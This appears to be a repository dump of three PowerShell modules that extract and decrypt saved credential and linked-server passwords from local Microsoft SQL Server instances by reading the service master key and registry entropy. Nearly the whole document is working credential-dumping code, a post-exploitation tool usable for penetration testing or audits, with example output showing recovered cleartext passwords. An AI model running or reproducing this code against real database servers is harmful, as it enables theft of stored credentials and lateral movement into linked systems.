├── Get-MSSQLAllCredentials.psm1 ├── Get-MSSQLCredentialPasswords.psm1 └── Get-MSSQLLinkPasswords.psm1 /Get-MSSQLAllCredentials.psm1: -------------------------------------------------------------------------------- 1 | #--------------------------# 2 | function m_MSSQLPwdDecrypt 3 | { param 4 | ( [Byte[]]$iaPwdImage 5 | , [Int32]$iPwdImageIVLen 6 | , [System.Security.Cryptography.SymmetricAlgorithm]$iCSP 7 | , [Byte[]]$iaCSPKey); 8 | 9 | try 10 | { 11 | # Decrypt a password. 12 | 13 | [Byte[]]$aIV = $iaPwdImage[0..($iPwdImageIVLen - 1)]; 14 | [Int32]$CryptLen = $iaPwdImage.Count - $iPwdImageIVLen; 15 | [IO.MemoryStream]$StrIn ` 16 | = New-Object IO.MemoryStream($iaPwdImage, $iPwdImageIVLen, $CryptLen, $false) ` 17 | -Property @{Position=0}; 18 | [IO.BinaryReader]$BROut = New-Object Security.Cryptography.CryptoStream($StrIn, $iCSP.CreateDecryptor($iaCSPKey, $aIV), 'Read') ` 19 | | % {New-Object IO.BinaryReader($_)}; 20 | 21 | # Removing the weird padding (6 bytes in the front) and extracting binary data length from 7 and 8 bytes... 22 | # Might cause problems but so far seems to work.. Tested on MS SQL 9sp4, 10.5sp3, 11sp1, 11sp2 - works well. 23 | 24 | [Void]$BROut.ReadBytes(6); 25 | [Int32]$DstLen = $BROut.ReadInt16(); 26 | 27 | [Text.Encoding]::Unicode.GetString($BROut.ReadBytes($DstLen)); 28 | } 29 | catch 30 | { throw; 31 | } 32 | finally 33 | { if ($null -ne $Local:BROut) {$BROut.Close()}; 34 | if ($null -ne $Local:StrIn) {$StrIn.Close()}; 35 | } 36 | } 37 | #--------------------------# 38 | ############################ 39 | function Get-MSSQLAllCredentials 40 | ( [parameter(Mandatory=0)][String]$iSQLInstName = 'MSSQLSERVER' 41 | , [parameter(Mandatory=0)][switch]$fSQLx86) 42 | { 43 | <# 44 | .SYNOPSIS 45 | Extract and decrypt MSSQL credentials. 46 | Author: Antti Rantasaari 2014, NetSPI 47 | Reworked by: TEH3OP 48 | License: BSD 3-Clause 49 | 50 | .DESCRIPTION 51 | Author of original script: Antti Rantasaari 2014, NetSPI 52 | 53 | Get-MSSQLAllCredentials extracts and decrypts all saved credentials that include server credential objects and the connection credentials for all linked servers that use SQL Server authentication on choisen local MSSQL instance. 54 | 55 | .PARAMETER iSQLInstName 56 | SQL instance name, witout server name (word after '\' ). 57 | 58 | .PARAMETER fSQLx86 59 | Set it on when you connect to x86 MSSQL service running on x64 operation system. 60 | 61 | .OUTPUTS 62 | System.Data.DataRow 63 | 64 | Returns a datatable with rows described below: 65 | ps_srv 66 | mssql instance name 67 | 68 | ps_credential_type 69 | 'C' - saved mssql credential; 70 | 'LL' - linked login credential. 71 | 72 | ps_credential_id 73 | for ps_credential_type = 'C' it is sys.credentials.credential_id value; 74 | for ps_credential_type = 'LL' it is sys.linked_logins.server_id (also sys.servers.server_id) value. 75 | 76 | ps_credential_name 77 | for ps_credential_type = 'C' it is sys.credentials.name value; 78 | for ps_credential_type = 'LL' it is sys.servers.name value. 79 | 80 | ps_credential_identity 81 | for ps_credential_type = 'C' it is sys.credentials.credential_identity value; 82 | for ps_credential_type = 'LL' it is sys.linked_logins.remote_name value. 83 | 84 | ps_modify_date 85 | for ps_credential_type = 'C' it is sys.credentials.modify_date value; 86 | for ps_credential_type = 'LL' it is sys.linked_logins.modify_date value. 87 | 88 | ps_pwd 89 | decrypted password 90 | 91 | .EXAMPLE 92 | C:\PS>.\Get-MSSQLAllCredentials 93 | 94 | ps_srv : MY-DB\SQL2012 95 | ps_credential_type : LL 96 | ps_credential_id : 20 97 | ps_credential_name : DWH-MAIN 98 | ps_credential_identity : data_steward 99 | ps_modify_date : 19.02.2015 11:55:57 100 | ps_pwd : !@#Sup3rS3cr3tP4$$w0rd!!$$ 101 | 102 | ps_srv : MY-DB\SQL2012 103 | ps_credential_type : C 104 | ps_credential_id : 101 105 | ps_credential_name : ##xp_cmdshell_proxy_account## 106 | ps_credential_identity : MYCOMPANY\ss_proxy 107 | ps_modify_date : 02.08.2015 16:32:25 108 | ps_pwd : Passw0rd01! 109 | 110 | .NOTES 111 | For successful execution, the following configurations and privileges are needed: 112 | - DAC connectivity to MSSQL instances 113 | - Local administrator privileges (needed to access registry key) 114 | - Sysadmin privileges to MSSQL instances 115 | 116 | .LINK 117 | http://www.netspi.com/blog/ 118 | https://github.com/TEH30P 119 | #> 120 | 121 | try 122 | { Add-Type -assembly System.Security; 123 | Add-Type -assembly System.Core; 124 | 125 | if ('', 'MSSQLSERVER' -contains $iSQLInstName) 126 | { [String]$InstName = 'MSSQLSERVER'; 127 | [String]$SQLSrv = ${env:COMPUTERNAME}; 128 | } 129 | else 130 | { [String]$InstName = $iSQLInstName 131 | [String]$SQLSrv = "${env:COMPUTERNAME}\$InstName"; 132 | } 133 | 134 | # Start DAC connection to SQL Server 135 | 136 | $SQLCnn = New-Object System.Data.SqlClient.SQLConnection("Server=ADMIN:$SQLSrv;Trusted_Connection=True"); 137 | $SQLCnn.Open(); 138 | 139 | # Query Service Master Key from the database - remove padding from the key 140 | # key_id 102 eq service master key, thumbprint 3 means encrypted with machinekey 141 | [String]$SqlCmd = ' 142 | SELECT substring(crypt_property, 9, len(crypt_property) - 8) 143 | FROM sys.key_encryptions 144 | WHERE 145 | key_id=102 146 | and (thumbprint=0x03 or thumbprint=0x0300000001) 147 | '; 148 | 149 | $Cmd = New-Object System.Data.SqlClient.SqlCommand($SqlCmd,$SQLCnn); 150 | [Byte[]]$SvcKeyEnc=$Cmd.ExecuteScalar(); 151 | 152 | # Get entropy from the registry - hopefully finds the right SQL server instance 153 | if ($fSQLx86) 154 | { [String]$RegPath = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Wow6432Node\Microsoft\Microsoft SQL Server\Instance Names\sql\').$InstName; 155 | [byte[]]$Entropy = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Microsoft SQL Server\$RegPath\Security\").Entropy; 156 | } 157 | else 158 | { [String]$RegPath = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\sql\').$InstName; 159 | [byte[]]$Entropy = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\$RegPath\Security\").Entropy; 160 | } 161 | 162 | # Decrypt the service master key 163 | $SvcKeyClear = [System.Security.Cryptography.ProtectedData]::Unprotect($SvcKeyEnc, $Entropy, 'LocalMachine'); 164 | 165 | # Choose the encryption algorithm based on the SMK length - 3DES for 2005, 2008; AES for 2012 166 | # Choose IV length based on the algorithm 167 | if (-not (($SvcKeyClear.Length -eq 16) -or ($SvcKeyClear.Length -eq 32))) 168 | { throw New-Object System.Exception('Unknown key size')} 169 | 170 | if ($SvcKeyClear.Length -eq 16) 171 | { [System.Security.Cryptography.SymmetricAlgorithm]$CSP ` 172 | = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider; 173 | [Byte]$CSPIVLen=8; 174 | } 175 | elseif ($SvcKeyClear.Length -eq 32) 176 | { [System.Security.Cryptography.SymmetricAlgorithm]$CSP ` 177 | = New-Object System.Security.Cryptography.AESCryptoServiceProvider; 178 | [Byte]$CSPIVLen=16; 179 | } 180 | 181 | #$CSP.Padding = 'None'; 182 | 183 | # Query credentials information from the DB 184 | # Remove header from encrypted password bytes. 185 | [String]$SqlCmd = @' 186 | SELECT 187 | ps_credential_type = 'C' 188 | , ps_credential_id = co.id 189 | , ps_credential_name = co.name 190 | , ps_credential_identity = CONVERT([SYSNAME], ov1.value) 191 | , ps_modify_date = co.modified 192 | , ps_pwd_image = SUBSTRING(ov2.imageval, 5, 8000) 193 | FROM 194 | [master].sys.sysclsobjs co 195 | INNER JOIN 196 | [master].sys.sysobjvalues ov1 197 | ON ov1.valclass = 28 198 | AND ov1.objid = co.id 199 | AND ov1.subobjid = 0 200 | AND ov1.valnum = 1 201 | INNER JOIN 202 | [master].sys.sysobjvalues ov2 203 | ON ov2.valclass = 28 204 | AND ov2.objid = co.id 205 | AND ov2.subobjid = 0 206 | AND ov2.valnum = 2 207 | WHERE 208 | co.class = 57 209 | UNION ALL 210 | SELECT 211 | ps_credential_type = 'LL' 212 | , ps_credential_id = srv.srvid 213 | , ps_credential_name = CONVERT([SYSNAME], srv.srvname) 214 | , ps_credential_identity = ls.name 215 | , ps_modify_date = ls.modate 216 | , ps_pwd_image = SUBSTRING(ls.pwdhash, 5, 8000) 217 | FROM 218 | [master].sys.syslnklgns ls 219 | INNER JOIN 220 | [master].sys.sysservers srv 221 | ON ls.srvid = srv.srvid 222 | WHERE 223 | LEN(pwdhash) > 0; 224 | '@; 225 | 226 | $Cmd = New-Object System.Data.SqlClient.SqlCommand($SqlCmd, $SQLCnn); 227 | $Tbl = New-Object System.Data.DataTable; 228 | $Tbl.Load($Cmd.ExecuteReader()); 229 | 230 | # Making table that will store return data. 231 | 232 | $TblRet = New-Object 'System.Data.DataTable'; 233 | $TblRet.Columns.Add('ps_srv',[String]).AllowDBNull = $false; 234 | 235 | $Tbl.Columns | ? {$_.ColumnName -ne 'ps_pwd_image'} ` 236 | | %{ $TblRet.Columns.Add($_.ColumnName, [Type]$_.DataType).AllowDBNull = $_.AllowDBNull}; 237 | 238 | $TblRet.Columns.Add('ps_pwd',[String]).AllowDBNull = $false; 239 | 240 | # Go through each row in results 241 | foreach ($RowIt in $Tbl) 242 | { # decrypt the password 243 | [String]$pwd = m_MSSQLPwdDecrypt ` 244 | -iaPwdImage $RowIt.ps_pwd_image ` 245 | -iPwdImageIVLen $CSPIVLen ` 246 | -iCSP $CSP ` 247 | -iaCSPKey $SvcKeyClear; 248 | 249 | [Void]$TblRet.Rows.Add( 250 | $SQLSrv 251 | , $RowIt.ps_credential_type 252 | , $RowIt.ps_credential_id 253 | , $RowIt.ps_credential_name 254 | , $RowIt.ps_credential_identity 255 | , $RowIt.ps_modify_date 256 | , $pwd); 257 | } 258 | 259 | $SQLCnn.Close(); $SQLCnn = $null; 260 | 261 | return $TblRet; 262 | } 263 | catch 264 | { throw} 265 | finally 266 | { if ($SQLCnn -ne $null) {$SQLCnn.Dispose()}}} 267 | 268 | #--------------------------# 269 | Export-ModuleMember -Function Get-MSSQLAllCredentials; 270 | -------------------------------------------------------------------------------- /Get-MSSQLCredentialPasswords.psm1: -------------------------------------------------------------------------------- 1 | function Get-MSSQLCredentialPasswords{ 2 | 3 | <# 4 | .SYNOPSIS 5 | Extract and decrypt MSSQL Credentials passwords. 6 | 7 | Author: Antti Rantasaari 2014, NetSPI 8 | License: BSD 3-Clause 9 | 10 | .DESCRIPTION 11 | Get-MSSQLCredentialPasswords extracts and decrypts the connection credentials for all saved Credentials. 12 | 13 | .INPUTS 14 | None 15 | 16 | .OUTPUTS 17 | System.Data.DataRow 18 | 19 | Returns a datatable consisting of MSSQL instance name, credential name, user account, and decrypted password. 20 | 21 | .EXAMPLE 22 | C:\PS> Get-MSSQLCredentialPasswords 23 | 24 | Instance Credential User Password 25 | -------- ---------- ---- -------- 26 | SQLEXPRESS test test test 27 | SQLEXPRESS user1 user1 Passw0rd01! 28 | SQL2012 user2 user2 Passw0rd01! 29 | SQL2012 VAULT user3 !@#Sup3rS3cr3tP4$$w0rd!!$$ 30 | 31 | .NOTES 32 | For successful execution, the following configurations and privileges are needed: 33 | - DAC connectivity to MSSQL instances 34 | - Local administrator privileges (needed to access registry key) 35 | - Sysadmin privileges to MSSQL instances 36 | 37 | .LINK 38 | http://www.netspi.com/blog/ 39 | #> 40 | Add-Type -assembly System.Security 41 | Add-Type -assembly System.Core 42 | 43 | # Set local computername and get all SQL Server instances 44 | $ComputerName = $Env:computername 45 | $SqlInstances = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server' -Name InstalledInstances).InstalledInstances 46 | 47 | $Results = New-Object "System.Data.DataTable" 48 | $Results.Columns.Add("Instance") | Out-Null 49 | $Results.Columns.Add("Credential") | Out-Null 50 | $Results.Columns.Add("User") | Out-Null 51 | $Results.Columns.Add("Password") | Out-Null 52 | 53 | foreach ($InstanceName in $SqlInstances) { 54 | 55 | # Start DAC connection to SQL Server 56 | # Default instance MSSQLSERVER -> instance name cannot be used in connection string 57 | if ($InstanceName -eq "MSSQLSERVER") { 58 | $ConnString = "Server=ADMIN:$ComputerName\;Trusted_Connection=True" 59 | } 60 | else { 61 | $ConnString = "Server=ADMIN:$ComputerName\$InstanceName;Trusted_Connection=True" 62 | } 63 | $Conn = New-Object System.Data.SqlClient.SQLConnection($ConnString); 64 | 65 | Try{$Conn.Open();} 66 | Catch{ 67 | Write-Error "Error creating DAC connection: $_.Exception.Message" 68 | Continue 69 | } 70 | if ($Conn.State -eq "Open"){ 71 | # Query Service Master Key from the database - remove padding from the key 72 | # key_id 102 eq service master key, thumbprint 3 means encrypted with machinekey 73 | $SqlCmd="SELECT substring(crypt_property,9,len(crypt_property)-8) FROM sys.key_encryptions WHERE key_id=102 and (thumbprint=0x03 or thumbprint=0x0300000001)" 74 | $Cmd = New-Object System.Data.SqlClient.SqlCommand($SqlCmd,$Conn); 75 | $SmkBytes=$Cmd.ExecuteScalar() 76 | 77 | # Get entropy from the registry - hopefully finds the right SQL server instance 78 | $RegPath = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\sql\").$InstanceName 79 | [byte[]]$Entropy = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\$RegPath\Security\").Entropy 80 | 81 | # Decrypt the service master key 82 | $ServiceKey = [System.Security.Cryptography.ProtectedData]::Unprotect($SmkBytes, $Entropy, 'LocalMachine') 83 | 84 | # Choose the encryption algorithm based on the SMK length - 3DES for 2008, AES for 2012 85 | # Choose IV length based on the algorithm 86 | if (($ServiceKey.Length -eq 16) -or ($ServiceKey.Length -eq 32)) { 87 | if ($ServiceKey.Length -eq 16) { 88 | $Decryptor = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider 89 | $IvLen=8 90 | } elseif ($ServiceKey.Length -eq 32){ 91 | $Decryptor = New-Object System.Security.Cryptography.AESCryptoServiceProvider 92 | $IvLen=16 93 | } 94 | 95 | # Query credential password information from the DB 96 | # Remove header from imageval, extract IV (as iv) and ciphertext (as pass) 97 | # Not sure what valclass and valnum mean, could not find documentation.. but valclass 28 with valnum 2 seems to store the encrypted password 98 | 99 | $SqlCmd = "SELECT name,credential_identity,substring(imageval,5,$ivlen) iv, substring(imageval,$($ivlen+5),len(imageval)-$($ivlen+4)) pass from sys.credentials cred inner join sys.sysobjvalues obj on cred.credential_id = obj.objid where valclass=28 and valnum=2" 100 | 101 | $Cmd = New-Object System.Data.SqlClient.SqlCommand($SqlCmd,$Conn); 102 | $Data=$Cmd.ExecuteReader() 103 | $Dt = New-Object "System.Data.DataTable" 104 | $Dt.Load($Data) 105 | 106 | # Go through each row in results 107 | foreach ($Logins in $Dt) { 108 | 109 | # decrypt the password using the service master key and the extracted IV 110 | $Decryptor.Padding = "None" 111 | $Decrypt = $Decryptor.CreateDecryptor($ServiceKey,$Logins.iv) 112 | $Stream = New-Object System.IO.MemoryStream (,$Logins.pass) 113 | $Crypto = New-Object System.Security.Cryptography.CryptoStream $Stream,$Decrypt,"Write" 114 | 115 | $Crypto.Write($Logins.pass,0,$Logins.pass.Length) 116 | [byte[]]$Decrypted = $Stream.ToArray() 117 | 118 | # convert decrypted password to unicode 119 | $EncodingType = "System.Text.UnicodeEncoding" 120 | $Encode = New-Object $EncodingType 121 | 122 | # Print results - removing the weird padding (8 bytes in the front, some bytes at the end)... 123 | # Might cause problems but so far seems to work.. may be dependant on SQL server version... 124 | # If problems arise remove the next three lines.. 125 | $i=8 126 | foreach ($b in $Decrypted) {if ($Decrypted[$i] -ne 0 -and $Decrypted[$i+1] -ne 0 -or $i -eq $Decrypted.Length) {$i -= 1; break;}; $i += 1;} 127 | $Decrypted = $Decrypted[8..$i] 128 | $Results.Rows.Add($InstanceName,$($Logins.name),$($Logins.credential_identity),$($Encode.GetString($Decrypted))) | Out-Null 129 | } 130 | } else { 131 | Write-Error "Unknown key size" 132 | } 133 | $Conn.Close(); 134 | } 135 | } 136 | $Results 137 | } 138 | 139 | -------------------------------------------------------------------------------- /Get-MSSQLLinkPasswords.psm1: -------------------------------------------------------------------------------- 1 | function Get-MSSQLLinkPasswords{ 2 | 3 | <# 4 | .SYNOPSIS 5 | Extract and decrypt MSSQL linked server passwords. 6 | 7 | Author: Antti Rantasaari 2014, NetSPI 8 | License: BSD 3-Clause 9 | 10 | .DESCRIPTION 11 | Get-MSSQLLinkPasswords extracts and decrypts the connection credentials for all linked servers that use SQL Server authentication on all local MSSQL instances. 12 | 13 | .INPUTS 14 | None 15 | 16 | .OUTPUTS 17 | System.Data.DataRow 18 | 19 | Returns a datatable consisting of MSSQL instance name, linked server name, user account, and decrypted password. 20 | 21 | .EXAMPLE 22 | C:\PS> Get-MSSQLLinkPasswords 23 | 24 | Instance Linkserver User Password 25 | -------- ---------- ---- -------- 26 | SQLEXPRESS SQLSERVER2 test test 27 | SQLEXPRESS DEV-SQL dev Passw0rd01! 28 | SQL2012 DEV-SQL dev Passw0rd01! 29 | SQL2012 WEBDB sa W3bDB$4P4ssw0rd 30 | SQL2012 VAULT sa !@#Sup3rS3cr3tP4$$w0rd!!$$ 31 | 32 | .NOTES 33 | For successful execution, the following configurations and privileges are needed: 34 | - DAC connectivity to MSSQL instances 35 | - Local administrator privileges (needed to access registry key) 36 | - Sysadmin privileges to MSSQL instances 37 | 38 | .LINK 39 | http://www.netspi.com/blog/ 40 | #> 41 | Add-Type -assembly System.Security 42 | Add-Type -assembly System.Core 43 | 44 | # Set local computername and get all SQL Server instances 45 | $ComputerName = $Env:computername 46 | $SqlInstances = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server' -Name InstalledInstances).InstalledInstances 47 | 48 | $Results = New-Object "System.Data.DataTable" 49 | $Results.Columns.Add("Instance") | Out-Null 50 | $Results.Columns.Add("Linkserver") | Out-Null 51 | $Results.Columns.Add("User") | Out-Null 52 | $Results.Columns.Add("Password") | Out-Null 53 | 54 | foreach ($InstanceName in $SqlInstances) { 55 | 56 | # Start DAC connection to SQL Server 57 | # Default instance MSSQLSERVER -> instance name cannot be used in connection string 58 | if ($InstanceName -eq "MSSQLSERVER") { 59 | $ConnString = "Server=ADMIN:$ComputerName\;Trusted_Connection=True" 60 | } 61 | else { 62 | $ConnString = "Server=ADMIN:$ComputerName\$InstanceName;Trusted_Connection=True" 63 | } 64 | $Conn = New-Object System.Data.SqlClient.SQLConnection($ConnString); 65 | 66 | Try{$Conn.Open();} 67 | Catch{ 68 | Write-Error "Error creating DAC connection: $_.Exception.Message" 69 | Continue 70 | } 71 | if ($Conn.State -eq "Open"){ 72 | # Query Service Master Key from the database - remove padding from the key 73 | # key_id 102 eq service master key, thumbprint 3 means encrypted with machinekey 74 | $SqlCmd="SELECT substring(crypt_property,9,len(crypt_property)-8) FROM sys.key_encryptions WHERE key_id=102 and (thumbprint=0x03 or thumbprint=0x0300000001)" 75 | $Cmd = New-Object System.Data.SqlClient.SqlCommand($SqlCmd,$Conn); 76 | $SmkBytes=$Cmd.ExecuteScalar() 77 | 78 | # Get entropy from the registry - hopefully finds the right SQL server instance 79 | $RegPath = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\sql\").$InstanceName 80 | [byte[]]$Entropy = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\$RegPath\Security\").Entropy 81 | 82 | # Decrypt the service master key 83 | $ServiceKey = [System.Security.Cryptography.ProtectedData]::Unprotect($SmkBytes, $Entropy, 'LocalMachine') 84 | 85 | # Choose the encryption algorithm based on the SMK length - 3DES for 2008, AES for 2012 86 | # Choose IV length based on the algorithm 87 | if (($ServiceKey.Length -eq 16) -or ($ServiceKey.Length -eq 32)) { 88 | if ($ServiceKey.Length -eq 16) { 89 | $Decryptor = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider 90 | $IvLen=8 91 | } elseif ($ServiceKey.Length -eq 32){ 92 | $Decryptor = New-Object System.Security.Cryptography.AESCryptoServiceProvider 93 | $IvLen=16 94 | } 95 | 96 | # Query link server password information from the DB 97 | # Remove header from pwdhash, extract IV (as iv) and ciphertext (as pass) 98 | # Ignore links with blank credentials (integrated auth ?) 99 | $SqlCmd = "SELECT sysservers.srvname,syslnklgns.name,substring(syslnklgns.pwdhash,5,$ivlen) iv,substring(syslnklgns.pwdhash,$($ivlen+5), 100 | len(syslnklgns.pwdhash)-$($ivlen+4)) pass FROM master.sys.syslnklgns inner join master.sys.sysservers on syslnklgns.srvid=sysservers.srvid WHERE len(pwdhash)>0" 101 | $Cmd = New-Object System.Data.SqlClient.SqlCommand($SqlCmd,$Conn); 102 | $Data=$Cmd.ExecuteReader() 103 | $Dt = New-Object "System.Data.DataTable" 104 | $Dt.Load($Data) 105 | 106 | # Go through each row in results 107 | foreach ($Logins in $Dt) { 108 | 109 | # decrypt the password using the service master key and the extracted IV 110 | $Decryptor.Padding = "None" 111 | $Decrypt = $Decryptor.CreateDecryptor($ServiceKey,$Logins.iv) 112 | $Stream = New-Object System.IO.MemoryStream (,$Logins.pass) 113 | $Crypto = New-Object System.Security.Cryptography.CryptoStream $Stream,$Decrypt,"Write" 114 | 115 | $Crypto.Write($Logins.pass,0,$Logins.pass.Length) 116 | [byte[]]$Decrypted = $Stream.ToArray() 117 | 118 | # convert decrypted password to unicode 119 | $EncodingType = "System.Text.UnicodeEncoding" 120 | $Encode = New-Object $EncodingType 121 | 122 | # Print results - removing the weird padding (8 bytes in the front, some bytes at the end)... 123 | # Might cause problems but so far seems to work.. may be dependant on SQL server version... 124 | # If problems arise remove the next three lines.. 125 | $i=8 126 | foreach ($b in $Decrypted) {if ($Decrypted[$i] -ne 0 -and $Decrypted[$i+1] -ne 0 -or $i -eq $Decrypted.Length) {$i -= 1; break;}; $i += 1;} 127 | $Decrypted = $Decrypted[8..$i] 128 | $Results.Rows.Add($InstanceName,$($Logins.srvname),$($Logins.name),$($Encode.GetString($Decrypted))) | Out-Null 129 | } 130 | } else { 131 | Write-Error "Unknown key size" 132 | } 133 | $Conn.Close(); 134 | } 135 | } 136 | $Results 137 | } 138 | 139 | --------------------------------------------------------------------------------